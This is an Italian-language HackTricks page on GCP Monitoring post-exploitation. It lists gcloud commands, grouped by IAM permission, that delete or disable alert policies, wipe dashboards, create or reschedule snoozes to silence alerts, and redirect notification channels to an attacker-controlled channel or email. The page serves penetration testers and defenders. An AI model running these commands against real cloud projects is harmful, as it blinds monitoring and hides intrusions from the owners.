# GCP - Monitoring Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Monitoraggio

Per ulteriori informazioni consulta:

{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}

Per altri modi per interferire con i log consulta:

{{#ref}}
gcp-logging-post-exploitation.md
{{#endref}}

### `monitoring.alertPolicies.delete`

Elimina una alert policy:

<details>

<summary>Elimina alert policy</summary>
```bash
gcloud alpha monitoring policies delete <policy>
```
</details>

### `monitoring.alertPolicies.update`

Interrompi un alert policy:

<details>

<summary>Interrompi alert policy</summary>
```bash
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled

# Remove all notification channels
gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels

# Chnage notification channels
gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

# Modify alert conditions
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>
```
</details>

### `monitoring.dashboards.update`

Modificare una dashboard per interromperne il funzionamento:

<details>

<summary>Interrompi dashboard</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''
```
</details>

### `monitoring.dashboards.delete`

Elimina una dashboard:

<details>

<summary>Elimina dashboard</summary>
```bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>
```
</details>

### `monitoring.snoozes.create`

Impedire alle policy di generare avvisi creando uno snoozer:

<details>

<summary>Crea uno snoozer per bloccare gli avvisi</summary>
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
```
</details>

### `monitoring.snoozes.update`

Aggiorna la pianificazione di uno snoozer per evitare che vengano creati alert quando l'attaccante è interessato:

<details>

<summary>Aggiorna la pianificazione dello snoozer</summary>
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME

# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
```
</details>

### `monitoring.notificationChannels.delete`

Elimina un canale configurato:

<details>

<summary>Elimina canale di notifica</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>
```
</details>

### `monitoring.notificationChannels.update`

Aggiorna le etichette di un canale per interromperne il funzionamento:

<details>

<summary>Aggiorna le etichette del canale di notifica</summary>
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
